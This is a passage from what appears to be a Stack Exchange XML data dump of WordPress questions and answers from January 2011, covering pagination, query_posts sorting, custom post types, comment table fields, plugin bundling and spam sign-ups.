  <row Id="6458" PostTypeId="2" ParentId="6442" CreationDate="2011-01-06T16:58:04.010" Score="4" ViewCount="" Body="&lt;p&gt;You can use the php GD library which you most likely already have on your server since wordpresses uses it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can filter the image using &lt;a href=&quot;http://us2.php.net/manual/en/function.imagefilter.php&quot; rel=&quot;nofollow&quot;&gt;imagefilter&lt;/a&gt; specifically IMG_FILTER_GRAYSCALE and/or IMG_FILTER_CONTRAST.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;imagefilter($im, IMG_FILTER_GRAYSCALE);&#xA;imagefilter($im, IMG_FILTER_CONTRAST, -100);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The hover would have to been done in javascript.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A much simpler solution would be to use the html5 canvas tag or a javascript image library like pixastic and wrestle with making it browser friendly ( not that hard using one of the html5 js kits)&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-01-06T16:58:04.010" CommentCount="2" />
  <row Id="6459" PostTypeId="2" ParentId="6373" CreationDate="2011-01-06T17:28:39.500" Score="3" ViewCount="" Body="&lt;p&gt;You can't have both a WP page and a directory with the same name, except if you also create /labs/index.php and do some strange hackery therein.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another solution would be to rename the directory and do some .htaccess trickery so the files inside the directory are served under the /labs/ URL.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-01-06T17:28:39.500" CommentCount="1" />
  <row Id="6460" PostTypeId="2" ParentId="3725" CreationDate="2011-01-06T17:57:36.573" Score="6" ViewCount="" Body="&lt;h1&gt;&lt;a href=&quot;http://themeshaper.com/thematic/&quot; rel=&quot;nofollow&quot;&gt;Thematic&lt;/a&gt;&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Developed by &lt;a href=&quot;http://themeshaper.com/&quot; rel=&quot;nofollow&quot;&gt;ThemeShaper&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Purpose&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Free, open-source, highly extensible, search-engine optimized WordPress Theme Framework&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Strong Features&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;13 widget-ready areas&lt;/li&gt;&#xA;&lt;li&gt;Grid-based layout sampels&lt;/li&gt;&#xA;&lt;li&gt;Built-in styling for popular plug-ins&lt;/li&gt;&#xA;&lt;li&gt;Massive support community of professional designers and developers&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Bonus Credibility&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Third place in WPHonors 2010 for Theme Frameworks&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Licensing and Pricing&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Free and open source&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-01-06T17:57:36.573" CommunityOwnedDate="2011-01-06T17:57:36.573" CommentCount="1" />
  <row Id="6461" PostTypeId="2" ParentId="3725" CreationDate="2011-01-06T18:01:45.773" Score="3" ViewCount="" Body="&lt;h1&gt;&lt;a href=&quot;http://headwaythemes.com/&quot; rel=&quot;nofollow&quot;&gt;Headway Theme&lt;/a&gt;&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Developed by Headway Themes&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Purpose&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Highly advanced parent theme with a built-in drag-and-drop visual developer (for non-coders)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Strong Features&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Visual layout designer&lt;/li&gt;&#xA;&lt;li&gt;Built-in SEO features&lt;/li&gt;&#xA;&lt;li&gt;Deep documentation and tutorial content&lt;/li&gt;&#xA;&lt;li&gt;Massive support community of professional designers and developers&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Bonus Credibility&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;First place in WPHonors 2010 for Theme Frameworks&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Licensing and Pricing&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;$87 for personal sites&lt;/li&gt;&#xA;&lt;li&gt;$164 for developers (use on multiple sites)&lt;/li&gt;&#xA;&lt;li&gt;GPLv2 licensed&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-01-06T18:01:45.773" CommunityOwnedDate="2011-01-06T18:01:45.773" />
  <row Id="6462" PostTypeId="1" CreationDate="2011-01-06T18:16:32.853" Score="0" ViewCount="214" Body="&lt;p&gt;I've developed a custom post type for WordPress that has quite a few entries that require pagination. I used the *paginate_links* function and it creates the pagination appropriately, rendering links that look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://mysite.com/people/page/5/&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/people/page/5/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But whenever one of the links is clicked on it returns a 404 message error. I suspect this has something to do with permalinks and my .htaccess file, but the permalinks for my posts and pages work just fine, so I'm confused.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anybody help me with this? Thank you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: Here is my query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts('post_type=peoplemanager&amp;amp;meta_key=people_lastname&amp;amp;orderby=meta_value&amp;amp;order=ASC&amp;amp;paged=' . get_query_var('paged'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The name of the page where the output is displayed is &quot;people.&quot;&lt;/p&gt;&#xA;" OwnerUserId="2355" LastEditorUserId="2355" LastEditorDisplayName="" LastEditDate="2011-01-06T18:32:27.707" LastActivityDate="2011-01-06T20:58:09.580" Title="Why are my paginated result links not working?" Tags="&lt;pagination&gt;&lt;url-rewriting&gt;" AnswerCount="2" CommentCount="8" />
  <row Id="6463" PostTypeId="2" ParentId="6439" CreationDate="2011-01-06T18:18:29.917" Score="0" ViewCount="" Body="&lt;p&gt;I added an ending  tag to line 65. Forgot to close the script. Something so easy slipped right past me numerous times. Ran it through w3c validation and it worked fine after words. Just some styling to do and I'm up and rolling 100%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank to all that helped!&lt;/p&gt;&#xA;" OwnerUserId="1972" LastActivityDate="2011-01-06T18:18:29.917" />
  <row Id="6464" PostTypeId="2" ParentId="6462" CreationDate="2011-01-06T18:24:24.043" Score="1" ViewCount="" Body="&lt;p&gt;As a starter, I recommend you review the discussion on a similar question regarding custom taxonomies and custom post types: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1635/fixing-pagination-with-custom-taxonomy-archive&quot;&gt;Fixing Pagination with Custom Taxonomy Archive&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll probably need to work with the global rewrite/query variables and arguments to get things to work correctly.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-01-06T18:24:24.043" CommentCount="3" />
  <row Id="6465" PostTypeId="1" AcceptedAnswerId="6472" CreationDate="2011-01-06T18:33:30.890" Score="1" ViewCount="1440" Body="&lt;p&gt;I'm on Wordpress 3.0.4 and I'm having a hard time deciding which way to go. The following is my problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a mysql database table 'widgets', with about 10 properties like id, size, color etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I'd like to integrate this table into Wordpress, preferably in such a way that I can get paginated lists of the widgets, show information on a single widget and have a flexible layout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Preferably, I would like the ability to change a custom template in such a way that I can change the position of each property on the page (So maybe I'd like to put e.g. the size-property on top of the page on the left, later I might want to put it on the right bottom).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be the best way to store the widgets, retrieve them by using as much Wordpress build-in functions and how can I get this flexible layout as well?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've written my own plugins before, so I have more than basic knowlegde on Wordpress/PHP/MySQL.&lt;/p&gt;&#xA;" OwnerUserId="2356" LastActivityDate="2011-08-23T11:38:16.687" Title="How to integrate custom database table in Wordpress and using Wordpress functions" Tags="&lt;database&gt;" AnswerCount="3" />
  <row Id="6466" PostTypeId="1" AcceptedAnswerId="6468" CreationDate="2011-01-06T18:48:34.590" Score="0" ViewCount="742" Body="&lt;p&gt;0 down vote favorite&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hi, I am working with wordpress where i have a event listing system. There is a custom field in my post called starting_time which is unix timestamp. Now i want to short all posts by starting_time by this query_post command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts(array(&#xA;               'post_type' =&amp;gt; 'event',&#xA;               'meta_key' =&amp;gt; 'end_time',&#xA;               'meta_compare' =&amp;gt;'&amp;gt;=',&#xA;               'meta_value'=&amp;gt;time(),&#xA;               'order_by' =&amp;gt; 'start_date',&#xA;             'order' =&amp;gt; 'ASC'&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it not working. Here is the site &lt;a href=&quot;http://citystir.com/events/&quot; rel=&quot;nofollow&quot;&gt;http://citystir.com/events/&lt;/a&gt;. I am echoing the start_time in unix before the time remaining so you can see the value. And also my pagination is not working. May be i did something wrong in the query_post command.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please someone response.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--------------------- Update -----------------&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i have found a wonderful post here &lt;b&gt;kovshenin.com/archives/customize-posts-order-in-wordpress-via-custom-fields&lt;/b&gt; but i didn't get it worked. May be for lack of my knowledge. Please take a look at it and let me know if you have any suggestions. I will continue working on that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-------------------- Resolved -----------------&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changed order_by to orderby. And also i came to know that we can use meta key multiple times if we want it will not conflict. Here is the final code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$paged = (get_query_var('paged')) ? get_query_var('paged') : 1;&#xA;query_posts(array(&#xA;'post_type' =&amp;gt; 'event',&#xA;'meta_key' =&amp;gt; 'end_time',&#xA;'meta_compare' =&amp;gt;'&amp;gt;=',&#xA;'meta_value'=&amp;gt;time(),&#xA;'meta_key' =&amp;gt; 'start_time',&#xA;'orderby' =&amp;gt; 'meta_value_num',&#xA;'post_per_page' =&amp;gt; '-1',&#xA;'order' =&amp;gt; 'ASC',&#xA;'paged' =&amp;gt; $paged&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks for all your hard work!&lt;/p&gt;&#xA;" OwnerUserId="3094" LastEditorUserId="3094" LastEditorDisplayName="" LastEditDate="2011-01-08T07:54:23.620" LastActivityDate="2011-01-08T07:54:23.620" Title="Sorting problem with 'query_posts' funcion in wordpress. Sort by custom field not working" Tags="&lt;query-posts&gt;&lt;sort&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="0" />
  <row Id="6467" PostTypeId="2" ParentId="578" CreationDate="2011-01-06T19:00:53.343" Score="0" ViewCount="" Body="&lt;p&gt;Just tried both codes, from Mike and somatic and was wondering on how to get one thing from each technique: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Mike's code, it shows the dropdown list with the &lt;strong&gt;hierarchical&lt;/strong&gt; option, which helps a lot. But in order to display two dropdowns i had to duplicate the  &lt;code&gt;if ($typenow=='produtos') {...}&lt;/code&gt; statement in the function &lt;code&gt;restrict_listings_by_business()&lt;/code&gt; and also the &lt;code&gt;if ($pagenow=='edit.php' &amp;amp;&amp;amp; ... }&lt;/code&gt; in the  &lt;code&gt;convert_business_id_to_taxonomy_term_in_query($query)&lt;/code&gt; function which now gives a lot of code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With somatic's code i just need to specify the taxonomies i'd like to see as dropdowns and bam, works; &lt;code&gt;$filters = array('taxo1', 'taxo2');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question: can i get somatic's approach and also have the &lt;strong&gt;hierarchical&lt;/strong&gt; option?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot anyway for this tutorial, helped a lot!&lt;/p&gt;&#xA;" OwnerUserId="1997" LastActivityDate="2011-01-06T19:00:53.343" CommentCount="1" />
  <row Id="6468" PostTypeId="2" ParentId="6466" CreationDate="2011-01-06T19:07:57.417" Score="1" ViewCount="" Body="&lt;p&gt;&lt;code&gt;order_by&lt;/code&gt; doesn't take a name of the field, it takes type of order. Which for custom numeric field will be &lt;code&gt;orderby=meta_value_num&lt;/code&gt;. But actual field used is taken from &lt;code&gt;meta_key&lt;/code&gt; and you are already using it for filtering. See &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts#Orderby_Parameters&quot; rel=&quot;nofollow&quot;&gt;Orderby Parameters&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you can't pull this of this easily at moment, not without filtering and modifying resulting SQL query. Upcoming WP 3.1 will have much more improved and flexible querying support for custom fields and it will likely be easier than.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-06T19:07:57.417" CommentCount="6" />
  <row Id="6469" PostTypeId="2" ParentId="6357" CreationDate="2011-01-06T19:08:14.523" Score="3" ViewCount="" Body="&lt;p&gt;I was busy writing up a plugin for this without even checking of one already existed. So I did a little research and found out that it does indeed already exist and that the path I was going down was the right one. Well, there's no need to reinvent the wheel here, so here's the link to the existing plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/expire-password/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/expire-password/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does what you need - I tested it myself.&lt;/p&gt;&#xA;" OwnerUserId="2036" LastActivityDate="2011-01-06T19:08:14.523" />
  <row Id="6470" PostTypeId="2" ParentId="6466" CreationDate="2011-01-06T19:11:56.470" Score="1" ViewCount="" Body="&lt;p&gt;As for your pagination being broken--when you do a custom query_posts like this, it squashes any vars from the original query. If you want pagination to work, you have to explicitly pass in a &quot;paged&quot; var in the query args. Get the existing paged var like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$paged = (get_query_var('paged')) ? get_query_var('paged') : 1;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then add it to your query args:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'paged' =&amp;gt; $paged&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1537" LastActivityDate="2011-01-06T19:11:56.470" CommentCount="1" />
  <row Id="6471" PostTypeId="2" ParentId="6465" CreationDate="2011-01-06T19:14:57.223" Score="1" ViewCount="" Body="&lt;p&gt;If this table is in same database as your WordPress installation you can use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wpdb_Class&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;$wpdb&lt;/code&gt;&lt;/a&gt; to get data from it. Otherwise you can instantiate your own &lt;code&gt;wpdb&lt;/code&gt; object with connection details for other database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not sure what do you mean by &lt;em&gt;widgets&lt;/em&gt; in this case, doesn't sound like same thing as WordPress widgets? Since I am fuzzy on this I have no suggestions how to handle template for those.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-06T19:14:57.223" CommentCount="1" />
  <row Id="6472" PostTypeId="2" ParentId="6465" CreationDate="2011-01-06T19:19:56.497" Score="4" ViewCount="" Body="&lt;p&gt;This is precisely what &lt;a href=&quot;http://codex.wordpress.org/Post_Types&quot; rel=&quot;nofollow&quot;&gt;custom post types&lt;/a&gt; are for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it were my project, I'd scrap the custom table you have, set up a custom post type for your &quot;widgets&quot;, add all your existing widgets as regular WP content, and use standard WordPress functions and templates to query and display them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a bit of investment in the short term (if you have a lot of existing data you need to migrate), but in the long run it's best to have all your content in standard WordPress tables and display it using standard WordPress functions and templates--unless there's a really compelling reason not to.&lt;/p&gt;&#xA;" OwnerUserId="1537" LastActivityDate="2011-01-06T19:19:56.497" CommentCount="3" />
  <row Id="6473" PostTypeId="1" CreationDate="2011-01-06T19:21:48.990" Score="0" ViewCount="121" Body="&lt;p&gt;I'm not sure if this is possible with the newer Google AdSense code which has the AdSense server holding all the colour settings etc... via an ad channel, but maybe there's a legacy code that will work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Publicly released AdSense theme (used by thousands of AdSense publishers) I'd like to add a Custom Google Search box where the template files deal with all settings except the pub-number (added on options page).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've had the code working for years with Google content ad units and Google search ad units using the old legacy code (users add their pub-number and it works without having to setup an ad in their AdSense control panel, the old legacy code holds all the colour settings etc..., editable via options) and now I'm looking at also adding the newer custom search box I recall receiving an email from Google AdSense one of my sites that does use the old search box code won't work soon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is the new code looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;http://www.google.com/cse&quot; id=&quot;cse-search-box&quot; target=&quot;_blank&quot;&amp;gt;&#xA;  &amp;lt;div&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;cx&quot; value=&quot;partner-pub-1234567890:uniquechannel&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;ie&quot; value=&quot;ISO-8859-1&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;q&quot; size=&quot;31&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; name=&quot;sa&quot; value=&quot;Search&quot; /&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;http://www.google.com/cse/brand?form=cse-search-box&amp;amp;amp;lang=en&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm assuming uniquechannel references the ad channel (it's not the actual channel ID, but must be based on it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried removing the ad channel, but get a bad request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The closest I can get to what I want is a user creating their own ad like the one above and either pasting the uniquechannel code in an option box, but then it would use whatever colours they selected when they setup the ad not the ones I'd setup to match in with the theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a feeling there isn't a way around this, but since finding this site I've been really impressed with the code I'm finding here (solved loads of problems I've been stuck on), so worth a try :-).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;David&lt;/p&gt;&#xA;" OwnerUserId="2062" LastActivityDate="2011-09-05T14:43:08.513" Title="Adding Google Custom Search to a Public Released Theme" Tags="&lt;adsense&gt;" AnswerCount="1" />
  <row Id="6474" PostTypeId="2" ParentId="6404" CreationDate="2011-01-06T20:23:25.680" Score="0" ViewCount="" Body="&lt;p&gt;Custom post types and taxonomies are confusing for me too, but I think Mike's got your answer with his suggestion to use taxonomies here. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The carousel isn't a type of content you're wanting to add to the database, it's content in the database that you want to present. Your answer would then be a query that looks for an artist's (custom-post-type &amp;amp; taxonomy) albums (custom-post-type) with custom fields (learn more, buy cd, buy mp3), with the 'featured location' taxonomy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would love to hear other's thoughts on this as custom post types and taxonomies remain one of the things I find most confusing. In particular I'm not sure how to resolve the artist being both custom post type and taxonomy which I think is necessary in order to allow the extra meta you want as well as the interrelationships with the other data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In terms of the videos, you may want to look at the post-formats coming up in 3.1 so you wouldn't need separate embed codes for each size, just a different display attribute.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this is helpful to you or at least furthers the conversation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers!&lt;/p&gt;&#xA;" OwnerUserId="1340" LastActivityDate="2011-01-06T20:23:25.680" CommentCount="3" />
  <row Id="6475" PostTypeId="1" AcceptedAnswerId="6485" CreationDate="2011-01-06T20:28:02.760" Score="0" ViewCount="104" Body="&lt;p&gt;I'm working on a rather odd implementation that stretches the limits of WP a little - its a healthcare site where patients are a custom post type and procedure requests related to each patient are stored in comments on that post. I started off by storing alot of data in commentmeta, but I want an easier way to access it than having to pull from a meta table. I'd also like to be able to use the built-in functions where available (&lt;strong&gt;wp_insert_comment&lt;/strong&gt; can set most of the fields in wp_comments table through the arguments passed to it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is - where are these other values set and accessed in WordPress? Specifically, I'm curious about:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;comment_karma&lt;/li&gt;&#xA;&lt;li&gt;comment_type&lt;/li&gt;&#xA;&lt;li&gt;comment_approved&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have one meta value I want to set, which I'm hoping to use &lt;code&gt;comment_type&lt;/code&gt; for. I also want to set a flag on each request to show whether or not it has been confirmed and responded to. It seems like &lt;code&gt;comment_karma&lt;/code&gt; would work well for this, as it is completely unsused, although I'm not sure if it can be set directly with &lt;strong&gt;wp_insert_comment&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any consequences I should be aware of when doing this? Would I be better off just adding additional columns to the table, or does this approach sound like it would work?&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-01-06T21:42:02.627" Title="What are the additional fields in wp_comments used for?" Tags="&lt;comments&gt;&lt;database&gt;&lt;comment-meta&gt;" AnswerCount="2" />
  <row Id="6476" PostTypeId="1" CreationDate="2011-01-06T20:30:04.703" Score="2" ViewCount="91" Body="&lt;p&gt;After following the advice in a previous question (&lt;a href=&quot;http://wordpress.stackexchange.com/questions/82/how-to-reduce-the-number-of-spam-comments&quot;&gt;here&lt;/a&gt;) I've managed to nuke my spam comments. I now, however, find that every day I have a few new members sign up to the site with rubbish e-mail addresses like 7428174812@aweseome-jewlery.co.uk. I could close sign-ups but I'd rather not as I'm hoping the site will beceome a bit more popular and would like to encourage comments.&lt;/p&gt;&#xA;" OwnerUserId="97" LastActivityDate="2011-07-15T07:38:35.323" Title="Reducing spammy user sign-ups" Tags="&lt;spam&gt;" AnswerCount="3" />
  <row Id="6477" PostTypeId="2" ParentId="6475" CreationDate="2011-01-06T20:38:36.373" Score="2" ViewCount="" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;comment_karma&lt;/code&gt; - no idea, doesn't seem meaningful in current code;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;comment_type&lt;/code&gt; - this marks pingbacks/trackbacks, empty for normal comments;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;comment_approved&lt;/code&gt; - approval (&lt;code&gt;0&lt;/code&gt; or &lt;code&gt;1&lt;/code&gt;) and spam (&lt;code&gt;spam&lt;/code&gt;) status.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;On your usage - why not just create custom post type for procedures? Comments are much less flexible than posts and kinda single-purposed in nature.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-06T20:38:36.373" CommentCount="1" />
  <row Id="6480" PostTypeId="2" ParentId="6462" CreationDate="2011-01-06T20:58:09.580" Score="0" ViewCount="" Body="&lt;p&gt;You should try native custom post type indexes, which are coming with WP 3.1.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-01-06T20:58:09.580" CommentCount="1" />
  <row Id="6481" PostTypeId="1" AcceptedAnswerId="6482" CreationDate="2011-01-06T21:15:42.170" Score="1" ViewCount="95" Body="&lt;p&gt;I've collected a few plugins that each have specific functionality I need for what would otherwise be a single large plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to bundle these into a single installable zip?&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-01-06T21:20:34.310" Title="Combine multiple plugins into one?" Tags="&lt;plugins&gt;&lt;installation&gt;" AnswerCount="1" />
  <row Id="6482" PostTypeId="2" ParentId="6481" CreationDate="2011-01-06T21:20:34.310" Score="3" ViewCount="" Body="&lt;ol&gt;&#xA;&lt;li&gt;Go through each plugin file and remove the plugin header.&lt;/li&gt;&#xA;&lt;li&gt;Create a loader.php file.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: Combined Plugin&#xA;Description: Contains plugin a, plugin b and plugin c&#xA;*/&#xA;&#xA;include dirname(__FILE__) . '/plugin-a.php';&#xA;include dirname(__FILE__) . '/plugin-b.php';&#xA;include dirname(__FILE__) . '/plugin-c.php';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-01-06T21:20:34.310" CommentCount="2" />
  <row Id="6483" PostTypeId="1" AcceptedAnswerId="6516" CreationDate="2011-01-06T21:21:33.123" Score="0" ViewCount="121" Body="&lt;p&gt;I have a blog installed on my site using Wordpress. Last week I upgraded Wordpress from 2.6 to 3.0.4 (I had to do this manually).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All went well, or so I thought, but I have just noticed that the content of an existing page has vanished. The page URL still works, but all content has disappeared - doctype, html tags, body tags, everything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note, this is specific to pages - posts are still displaying fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have since created a brand new page which does not display the content either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Things I have tried include&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;* Switching to a freshly installed theme&#xA;* Reverting the page to an older version&#xA;* Deactivating all plugins&#xA;* Setting the problem page to draft, and back again&#xA;* Deleting the .htaccess file&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I suspect it's a database problem and have contacted my hosting company who have said the only thing they can do is restore the DB from a backup, but that I should consider it a last resort.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any further ideas what to try?&lt;/p&gt;&#xA;" OwnerUserId="2361" LastEditorUserId="2361" LastEditorDisplayName="" LastEditDate="2011-01-06T21:33:46.473" LastActivityDate="2011-01-07T09:14:35.807" Title="The entire content of my Wordpress page has disappeared" Tags="&lt;page&gt;&lt;errors&gt;&lt;content&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="6484" PostTypeId="2" ParentId="6476" CreationDate="2011-01-06T21:30:10.740" Score="1" ViewCount="" Body="&lt;p&gt;Yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easiest way would be to include a Captcha on your registration page.  Most Captcha systems depend on the user's ability to read a word or answer a question (i.e. &quot;What is 2+3?&quot;).  Automated systems like these spam bots have trouble with Captchas, but they're by no means perfect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I discovered today a Captcha plug-in that protects the registration page that requires the use to drag color-coded elements onto specific portions of the screen: &lt;a href=&quot;http://wordpress.org/extend/plugins/keycaptcha/&quot; rel=&quot;nofollow&quot;&gt;KeyCAPTCHA&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This might help.  But any spam bot deterrent is better than none.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-01-06T21:30:10.740" />
  <row Id="6485" PostTypeId="2" ParentId="6475" CreationDate="2011-01-06T21:42:02.627" Score="6" ViewCount="" Body="&lt;h1&gt;comment_karma&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;This field is used by a few plug-ins to help you manage your comments.  There are a &lt;a href=&quot;http://trueslant.com/rogertheriault/2010/02/26/curating-and-filtering-blog-post-comments-with-wordpress-and-ajax/&quot; rel=&quot;nofollow&quot;&gt;few good articles&lt;/a&gt; explaining its exact use floating around on the Internet.  But you should note that this field is actually just not used.  As Mark Jaquith said once, it's a &quot;there if you want to use it this.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There was a short movement to remove it for version 3.1 ... but since some systems still hook onto it, it's staying there for now.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;comment_type&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Is this a comment, a trackback, or a pingback?  This helps theme devs separate out the different types of &quot;comments&quot; in the front-end display.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;comment_approved&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Is the comment pending moderation, spam, 